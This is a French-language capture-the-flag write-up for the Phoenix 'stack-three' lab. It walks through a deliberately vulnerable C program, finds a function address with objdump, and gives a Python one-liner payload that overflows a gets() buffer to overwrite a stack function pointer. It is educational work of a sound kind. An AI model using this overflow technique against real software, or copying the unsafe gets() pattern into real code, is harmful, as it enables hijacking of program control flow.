kiddie
.:: @OREL ::.

Phoenix - Buffer overflow - Stack 3
[ 23/07/2017 ]
Copie originale : [https]://exploit.education/phoenix/stack-three/ --- [0 - Énoncé [1 - Description du programme [1.1 - Code Source [1.2 - Identification de la vulnérabilité [2 - Méthodologie pour l'exploitation [2.1 - Récupérer l'adresse d'une fonction sous Linux [3 - Exploitation de la vulnérabilité [4 - Conclusion --- [0 - Énoncé :
Stack Three looks at overwriting function pointers stored on the stack. Hints - You can use gdb and objdump to determine where the complete_level() function is in memory.
[1 - Description du programme
[1.1 - Code Source
/* * phoenix/stack-three, by https://exploit.education * * The aim is to change the contents of the changeme variable to 0x0d0a090a * * When does a joke become a dad joke? * When it becomes apparent. * When it's fully groan up. * */ #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" char *gets(char *); void complete_level() { printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n"); exit(0); } int main(int argc, char **argv) { struct { char buffer[64]; volatile int (*fp)(); } locals; printf("%s\n", BANNER); locals.fp = NULL; gets(locals.buffer); if (locals.fp) { printf("calling function pointer @ %p\n", locals.fp); fflush(stdout); locals.fp(); } else { printf("function pointer remains unmodified :~( better luck next time!\n"); } exit(0); }
Une procédure nommée complete_level() est déclarée dans le contexte global et permet de valider le challenge. Dans le main(), la structure locals est définie et contient deux variables buffer un tableau de 64 char et fp, un pointeur de fonction. Après l'initialisation de l'élément fp à NULL, la fonction gets() est appelée avec en argument buffer. À la suite de cette entrée utili-sateur si fp n'est plus NULL, on appel la fonction pointée par fp, sinon, on sort du programme.
[1.2 - identification de la vulnérabilité
La vulnérabilité est la même que celle présentée dans stack zero, gets() est une fonction dangereuse vulnérable aux buffer overflow notamment quand l'entrée utilisateur n'est pas contrôlée. Grâce à ce buffer overflow, nous devons parvenir à écrire l'adresse de complete_level() dans fp pour valider l'exercice.
[2 - Méthodologie d'exploitation
Pour l'exploitation, nous devons récupérer l'adresse de complete_level() et l'ajouter à la fin de notre exploit habituel de 64 octets.
[2.1 Récupérer l'adresse d'une fonction sous Linux
La récupération de cette adresse peut se faire avec différents outils, deux sont proprosés dans la section hint, gdb et objdump. Comme nous avons déjà manipulé gdb, on va récupérer l'adresse avec objdump en affichant la table des symboles :
user@phoenix-amd64:/opt/phoenix/amd64$ objdump -t stack-three stack-three: file format elf64-x86-64 SYMBOL TABLE: ... 0000000000400546 g F .text 0000000000000023 _start_c 0000000000600b18 g .bss 0000000000000000 __bss_start 00000000004006b5 g F .text 000000000000007c main 0000000000400782 g F .fini 0000000000000001 _fini 0000000000600b18 g .data 0000000000000000 _edata 0000000000600b90 g .bss 0000000000000000 _end 0000000000000000 F *UND* 0000000000000000 exit 000000000040069d g F .text 0000000000000018 complete_level 0000000000000000 F *UND* 0000000000000000 __libc_start_main
L'adresse de complete_level() est 0x40069d. Il ne nous reste plus qu'a l'ajouter à l'exploit en gardant à l'esprit l'agencement mémoire qui est en little endian.
[3 - Exploitation de la vulnérabilité
user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A" * 64 + "\x40\x06\x9d"[::-1]' \ > | ./stack-three Welcome to phoenix/stack-three, brought to you by https://exploit.education calling function pointer @ 0x40069d Congratulations, you've finished phoenix/stack-three :-) Well done!
[4 - Conclusion
L'exercice stack three démontre la possibiité d'appeler un code arbitraire via un buffer overflow. On a aussi pris connaissance de la table des symboles nécessaire pour récupérer l'adresse de complete_level().

Tout est faux tout est conforme.